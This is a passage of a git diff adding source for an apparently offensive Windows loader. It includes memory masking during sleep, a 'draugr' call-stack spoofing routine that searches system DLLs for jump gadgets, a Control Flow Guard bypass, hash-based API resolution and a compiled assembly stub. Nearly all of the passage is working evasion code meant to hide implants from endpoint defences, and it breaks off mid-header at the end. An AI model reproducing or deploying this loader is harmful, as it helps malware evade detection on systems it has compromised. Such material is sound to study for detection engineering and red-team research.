) + { + return TRUE; + } + + return FALSE; +} + +void xor_section ( MEMORY_SECTION * section, BOOL mask ) +{ + if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) ) + { + section->CurrentProtect = PAGE_READWRITE; + section->PreviousProtect = old_protect; + } + } + + if ( is_writeable ( section->CurrentProtect ) ) + { + apply_mask ( section->BaseAddress, section->Size ); + } + + if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect ) + { + DWORD old_protect = 0; + + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) ) + { + section->CurrentProtect = section->PreviousProtect; + section->PreviousProtect = old_protect; + } + } +} + +void xor_region ( MEMORY_REGION * region, BOOL mask ) +{ + for ( int i = 0; i < 20; i++ ) + { + xor_section ( ®ion->Sections [ i ], mask ); + } +} + +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) +{ + xor_region ( &memory->Dll, mask ); +} diff --git a/loader/src/mask.h b/loader/src/mask.h new file mode 100644 index 0000000..9469faf --- /dev/null +++ b/loader/src/mask.h @@ -0,0 +1 @@ +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ); \ No newline at end of file diff --git a/loader/src/memory.h b/loader/src/memory.h new file mode 100644 index 0000000..4bae792 --- /dev/null +++ b/loader/src/memory.h @@ -0,0 +1,17 @@ +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + DWORD CurrentProtect; + DWORD PreviousProtect; +} MEMORY_SECTION; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + MEMORY_SECTION Sections [ 20 ]; +} MEMORY_REGION; + +typedef struct { + MEMORY_REGION Pico; + MEMORY_REGION Dll; +} MEMORY_LAYOUT; diff --git a/loader/src/pico.c b/loader/src/pico.c new file mode 100644 index 0000000..932689d --- /dev/null +++ b/loader/src/pico.c @@ -0,0 +1,93 @@ +#include +#include "memory.h" +#include "mask.h" +#include "spoof.h" +#include "cleanup.h" +#include "tcg.h" + +MEMORY_LAYOUT g_memory; + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); + +FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) +{ + /* lpProcName may be an ordinal */ + if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) + { + /* just resolve normally */ + return GetProcAddress ( hModule, lpProcName ); + } + + FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); + + /* + * result may still be NULL if + * it wasn't hooked in the spec + */ + if ( result != NULL ) { + return result; + } + + return GetProcAddress ( hModule, lpProcName ); +} + +void setup_hooks ( IMPORTFUNCS * funcs ) +{ + funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; +} + +void setup_memory ( MEMORY_LAYOUT * layout ) +{ + if ( layout != NULL ) { + g_memory = * layout; + } +} + +/* + * throw these hooks in here because + * sharing a global across multiple + * modules is still a bit of a headache + */ + +VOID WINAPI _Sleep ( DWORD dwMilliseconds ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$Sleep ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwMilliseconds ); + + /* + * for performance reasons, only mask + * memory if sleep time is equal to + * or greater than 1 second + */ + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, TRUE ); + } + + spoof_call ( &call ); + + if ( dwMilliseconds >= 1000 ) { + mask_memory ( &g_memory, FALSE ); + } +} + +VOID WINAPI _ExitThread ( DWORD dwExitCode ) +{ + /* free memory */ + cleanup_memory ( &g_memory ); + + /* call the real exit thread */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwExitCode ); + + spoof_call ( &call ); +} diff --git a/loader/src/services.c b/loader/src/services.c new file mode 100644 index 0000000..30b45d9 --- /dev/null +++ b/loader/src/services.c @@ -0,0 +1,29 @@ +#include +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) +{ + HANDLE module = findModuleByHash ( mod_hash ); + return findFunctionByHash ( module, func_hash ); +} + +/** + * This function is used to load and/or locate functions + * in modules that are not loaded by default. + */ +FARPROC resolve_ext ( char * mod_name, char * func_name ) +{ + HANDLE module = KERNEL32$GetModuleHandleA ( mod_name ); + + if ( module == NULL ) { + module = LoadLibraryA ( mod_name ); + } + + return GetProcAddress ( module, func_name ); +} diff --git a/loader/src/spoof.c b/loader/src/spoof.c new file mode 100644 index 0000000..ac69582 --- /dev/null +++ b/loader/src/spoof.c @@ -0,0 +1,390 @@ +#include +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); + +#define TEXT_HASH 0xEBC2F9B4 +#define RBP_OP_INFO 0x5 + +typedef struct { + LPCWSTR DllPath; + ULONG Offset; + ULONGLONG TotalStackSize; + BOOL RequiresLoadLibrary; + BOOL SetsFramePointer; + PVOID ReturnAddress; + BOOL PushRbp; + ULONG CountOfCodes; + BOOL PushRbpIndex; +} STACK_FRAME; + +typedef enum { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, + UWOP_ALLOC_SMALL, + UWOP_SET_FPREG, + UWOP_SAVE_NONVOL, + UWOP_SAVE_NONVOL_FAR, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR, + UWOP_PUSH_MACHFRAME +} UNWIND_CODE_OPS; + +typedef unsigned char UBYTE; + +typedef union { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE; + +typedef struct { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode [ 1 ]; +} UNWIND_INFO; + +typedef struct { + PVOID ModuleAddress; + PVOID FunctionAddress; + DWORD Offset; +} FRAME_INFO; + +typedef struct { + FRAME_INFO Frame1; + FRAME_INFO Frame2; + PVOID Gadget; +} SYNTHETIC_STACK_FRAME; + +typedef struct { + FUNCTION_CALL * FunctionCall; + PVOID StackFrame; + PVOID SpoofCall; +} DRAUGR_FUNCTION_CALL; + +typedef struct { + PVOID Fixup; + PVOID OriginalReturnAddress; + PVOID Rbx; + PVOID Rdi; + PVOID BaseThreadInitThunkStackSize; + PVOID BaseThreadInitThunkReturnAddress; + PVOID TrampolineStackSize; + PVOID RtlUserThreadStartStackSize; + PVOID RtlUserThreadStartReturnAddress; + PVOID Ssn; + PVOID Trampoline; + PVOID Rsi; + PVOID R12; + PVOID R13; + PVOID R14; + PVOID R15; +} DRAUGR_PARAMETERS; + +extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); + +#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) + +void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) +{ + PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); + PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); + + frame->Frame1.ModuleAddress = frame1_module; + frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); + frame->Frame1.Offset = 0x17; + + frame->Frame2.ModuleAddress = frame2_module; + frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); + frame->Frame2.Offset = 0x2c; + + // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); + + PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); + + if ( dfshim != NULL ) { + frame->Gadget = dfshim; + } else { + frame->Gadget = LoadLibraryA ( "dfshim.dll" ); + } +} + +BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) +{ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + + if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { + return FALSE; + } + + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); + + if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { + return FALSE; + } + + IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); + + for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) + { + DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); + + if ( h == TEXT_HASH ) + { + *virtual_address = section_header[ i ].VirtualAddress; + *size = section_header[ i ].SizeOfRawData; + + return TRUE; + } + } + + return FALSE; +} + +PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) +{ + UNWIND_INFO * unwind_info = NULL; + ULONG unwind_operation = 0; + ULONG operation_info = 0; + ULONG index = 0; + ULONG frame_offset = 0; + + STACK_FRAME stack_frame = { 0 }; + + if ( ! runtime_function ) { + return NULL; + } + + unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); + + while ( index < unwind_info->CountOfCodes ) + { + unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; + operation_info = unwind_info->UnwindCode[ index ].OpInfo; + + /* don't use switch as it produces jump tables */ + if ( unwind_operation == UWOP_PUSH_NONVOL ) + { + stack_frame.TotalStackSize += 8; + + if ( operation_info == RBP_OP_INFO ) + { + stack_frame.PushRbp = TRUE; + stack_frame.CountOfCodes = unwind_info->CountOfCodes; + stack_frame.PushRbpIndex = index + 1; + } + } + else if ( unwind_operation == UWOP_SAVE_NONVOL ) + { + index += 1; + } + else if ( unwind_operation == UWOP_ALLOC_SMALL ) + { + stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); + } + else if ( unwind_operation == UWOP_ALLOC_LARGE ) + { + index += 1; + frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; + + if (operation_info == 0) + { + frame_offset *= 8; + } + else + { + index += 1; + frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); + } + + stack_frame.TotalStackSize += frame_offset; + } + else if ( unwind_operation == UWOP_SET_FPREG ) + { + stack_frame.SetsFramePointer = TRUE; + } + else if ( unwind_operation == UWOP_SAVE_XMM128 ) + { + return NULL; + } + + index += 1; + } + + if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) + { + index = unwind_info->CountOfCodes; + + if ( 0 != ( index & 1 ) ) + { + index += 1; + } + + runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); + return calculate_function_stack_size ( runtime_function, image_base ); + } + + stack_frame.TotalStackSize += 8; + return ( PVOID ) ( stack_frame.TotalStackSize ); +} + +PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) +{ + RUNTIME_FUNCTION * runtime_function = NULL; + DWORD64 image_base = 0; + PUNWIND_HISTORY_TABLE history_table = NULL; + + if ( ! return_address ) { + return NULL; + } + + runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); + + if ( NULL == runtime_function ) { + return NULL; + } + + return calculate_function_stack_size ( runtime_function, image_base ); +} + +PVOID find_gadget( PVOID module ) +{ + BOOL found_gadgets = FALSE; + DWORD text_section_size = 0; + DWORD text_section_va = 0; + DWORD counter = 0; + ULONG seed = 0; + ULONG random = 0; + PVOID module_text_section = NULL; + + PVOID gadget_list [ 15 ] = { 0 }; + + if ( ! found_gadgets ) + { + if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { + return NULL; + } + + module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); + + for ( int i = 0; i < ( text_section_size - 2 ); i++ ) + { + /* x64 opcodes are ff 23 */ + if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) + { + /* check for a call before the gadget */ + if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) + { + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; + + if ( counter == 15 ) { + break; + } + } + } + } + + found_gadgets = TRUE; + } + + seed = 0x1337; + random = NTDLL$RtlRandomEx ( &seed ); + random %= counter; + + return gadget_list [ random ]; +} + +ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) +{ + int attempts = 0; + PVOID return_address = NULL; + + DRAUGR_PARAMETERS draugr_params = { 0 }; + + if ( ssn ) { + draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; + } + + SYNTHETIC_STACK_FRAME frame; + init_frame_info ( &frame ); + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); + draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.BaseThreadInitThunkReturnAddress = return_address; + + if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); + draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.RtlUserThreadStartReturnAddress = return_address; + + if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + do + { + draugr_params.Trampoline = find_gadget ( frame.Gadget ); + draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); + + attempts++; + + if ( attempts > 15 ) { + return ( ULONG_PTR ) ( NULL ); + } + + } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); + + if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { + return ( ULONG_PTR ) ( NULL ); + } + + return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); +} + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ) +{ + /* very inelegant */ + if ( call->argc == 0 ) { + return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 1 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 2 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 3 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 4 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 5 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 6 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 7 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 8 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); + } else if ( call->argc == 9 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); + } else if ( call->argc == 10 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); + } else if ( call->argc == 11 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); + } else if ( call->argc == 12 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); + } else { + return ( ULONG_PTR ) ( NULL ); + } +} diff --git a/loader/src/spoof.h b/loader/src/spoof.h new file mode 100644 index 0000000..ef25c1b --- /dev/null +++ b/loader/src/spoof.h @@ -0,0 +1,10 @@ +#define spoof_arg(x) ( ULONG_PTR ) ( x ) + +typedef struct { + PVOID ptr; + DWORD ssn; + int argc; + ULONG_PTR args[10]; +} FUNCTION_CALL; + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/udrl/src/tcg.h b/loader/src/tcg.h similarity index 85% rename from udrl/src/tcg.h rename to loader/src/tcg.h index fe9287c..553836d 100644 --- a/udrl/src/tcg.h +++ b/loader/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -25,47 +25,62 @@ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ - + +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; - + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) - + typedef struct { IMAGE_DOS_HEADER * DosHeader; IMAGE_NT_HEADERS * NtHeaders; IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; - + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ void dprintf(char * format, ...); - + /* * PICO running functions */ typedef void (*PICOMAIN_FUNC)(char * arg); - + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); - + /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); - +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + /* * DLL parsing and loading functions */ typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); - + DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); void LoadDLL(DLLDATA * dll, char * src, char * dst); @@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data); void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); void ProcessRelocations(DLLDATA * dll, char * src, char * dst); DWORD SizeOfDLL(DLLDATA * data); - + /* * A macro to figure out our caller * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 @@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data); #else #pragma intrinsic(_ReturnAddress) #define WIN_GET_CALLER() _ReturnAddress() -#endif +#endif \ No newline at end of file diff --git a/local-loader/Makefile b/local-loader/Makefile new file mode 100644 index 0000000..47282aa --- /dev/null +++ b/local-loader/Makefile @@ -0,0 +1,22 @@ +CC_64=x86_64-w64-mingw32-gcc +NASM=nasm + +all: bin/loader.x64.o + +bin: + mkdir bin + +bin/loader.x64.o: bin + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o + + $(NASM) src/draugr.asm -o bin/draugr.x64.bin + +clean: + rm -f bin/* diff --git a/local-loader/bin/draugr.x64.bin b/local-loader/bin/draugr.x64.bin new file mode 100644 index 0000000000000000000000000000000000000000..f26b2ae7fb7c6bf6ce4ae0655ff920529b5b3871 GIT binary patch literal 256 zcma#>?EK}~`PrkpMn%D+yF^99r!!o_r!zjnr!zglr!zmpr?b4kr?bAov-60r;ccJp z92En{eGE(t44%!$IDDAPEr8enh!s4W-zj)@KJsinWZ-M~-_`PUi4;(X!?W|bujY54 zD2L;JBgcMr&*sC7ukU#@z5$t$#o(cxZsF4%@8HuZqXJ|r0NFq%fY}B>b^wSCbRW<) z93GwV0v^4x0t^fc9-Z +#include "cfg.h" + +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); + +BOOL cfg_enabled ( ) +{ + EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; + + NTSTATUS status = 0; + + proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; + proc_info.ExtendedProcessInfoBuffer = 0; + + status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + return proc_info.ExtendedProcessInfoBuffer; +} + +BOOL bypass_cfg ( PVOID address ) +{ + MEMORY_BASIC_INFORMATION mbi = { 0 }; + VM_INFORMATION vmi = { 0 }; + MEMORY_RANGE_ENTRY mre = { 0 }; + CFG_CALL_TARGET_INFO cti = { 0 }; + + NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { + return FALSE; + } + + cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; + cti.Flags = CFG_CALL_TARGET_VALID; + + mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; + mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; + + ULONG output = 0; + + vmi.dwNumberOfOffsets = 0x1; + vmi.plOutput = &output; + vmi.ptOffsets = &cti; + vmi.pMustBeZero = 0x0; + vmi.pMoarZero = 0x0; + + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); + + if ( status == 0xC00000F4 ) + { + /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); + } + + if ( ! NT_SUCCESS ( status ) ) + { + /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ + if ( status == 0xC0000045 ) + { + /* pretend we bypassed it so timers can continue */ + return TRUE; + } + + return FALSE; + } + + return TRUE; +} diff --git a/local-loader/src/cfg.h b/local-loader/src/cfg.h new file mode 100644 index 0000000..155829a --- /dev/null +++ b/local-loader/src/cfg.h @@ -0,0 +1,38 @@ +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID 